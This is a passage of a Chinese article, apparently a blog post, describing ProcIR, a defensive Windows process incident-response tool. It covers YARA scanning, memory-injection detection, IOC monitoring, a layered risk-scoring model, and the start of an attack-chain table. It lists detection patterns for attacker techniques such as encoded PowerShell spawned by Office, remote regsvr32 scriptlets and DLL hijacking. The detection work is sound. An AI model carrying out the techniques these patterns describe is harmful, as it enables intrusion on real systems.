normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">6. YARA：内容级检测</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内置了一个纯 Go 实现的 YARA 引擎（不需要 GCC/CGO），支持：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">文本字符串（nocase / wide / fullword）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">十六进制模式（含通配符）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">正则表达式</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">条件语法</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在 YARA 页面上传规则文件，一键全量扫描，只扫可疑对象，自动跳过已签名系统文件。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">7. 内存态：无文件攻击检测</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">对指定 PID 执行 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">VirtualQueryEx</span></code><span leaf="">，枚举全部内存区域：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">RWX 内存</span></strong><span leaf=""> → 可能的 Shellcode 注入</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">私有可执行内存</span></strong><span leaf=""> → 无文件映射的代码执行</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">非映像可执行区域</span></strong><span leaf=""> → Reflective DLL / 内存加载</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">自动排除浏览器/JIT 引擎的正常 RWX。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">8. IOC 监控：动态命中</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">输入威胁情报 IP/域名列表，实时监控 TCP 连接表，命中时精准归因到进程。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">纯内核表读取，零网络影响。域名在加载时一次性解析为 IP，监控期间不做任何 DNS 操作。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">评分模型：为什么不是简单规则匹配</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">单一维度的检测太容易误报。</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">cmd.exe</span></code><span leaf=""> 本身合法，</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rundll32.exe</span></code><span leaf=""> 本身合法，甚至&#34;用户目录有个 exe&#34;也不一定恶意。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ProcIR 的评分是</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">多层叠加</span></strong><span leaf="">的：</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">基础规则层</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每个维度独立打分。单一维度很难超过 Medium。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">强规则层（Override）</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">某些组合直接判定高危，不依赖基础分：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">Office 派生 PowerShell + 编码执行 → 直接 Critical</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">regsvr32 远程 Scriptlet 加载 → 直接 Critical</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">系统进程加载用户目录 DLL → 直接 Critical</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">组合加权层（Synergy）</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">多个维度同时命中时额外加分：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">命令行异常 + 外联 = +15</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">外联 + 持久化 = +20</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">事件证据 + YARA 命中 = +20</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">DLL 劫持 + 外联 = +20</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">白特征抵消层（Anti-FP）</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">降低正常软件误报：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">微软签名 + System32 路径 → 减分</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">已知厂商签名（Google/Adobe/腾讯/阿里等 20+）→ 减分</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">浏览器 Native Messaging → 减分</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">上下文权重</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">命令行命中规则的进程，总分 ×1.5。 父子链异常的进程，总分 ×1.2。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">设计原则：单一维度不过高，多维度叠加才真正危险。</span></strong></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">行为链识别：从&#34;点&#34;到&#34;链&#34;</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">除了单点评分，ProcIR 还能自动识别完整的攻击链：</span></p><p style="box-sizing: border-box;display: block;overflow-x: auto;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);min-width: 85px;"><p><span leaf="">攻击链</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);min-width: 85px;"><p><span leaf="">检测模式</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-image: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;min-width: 85px;"><p><span 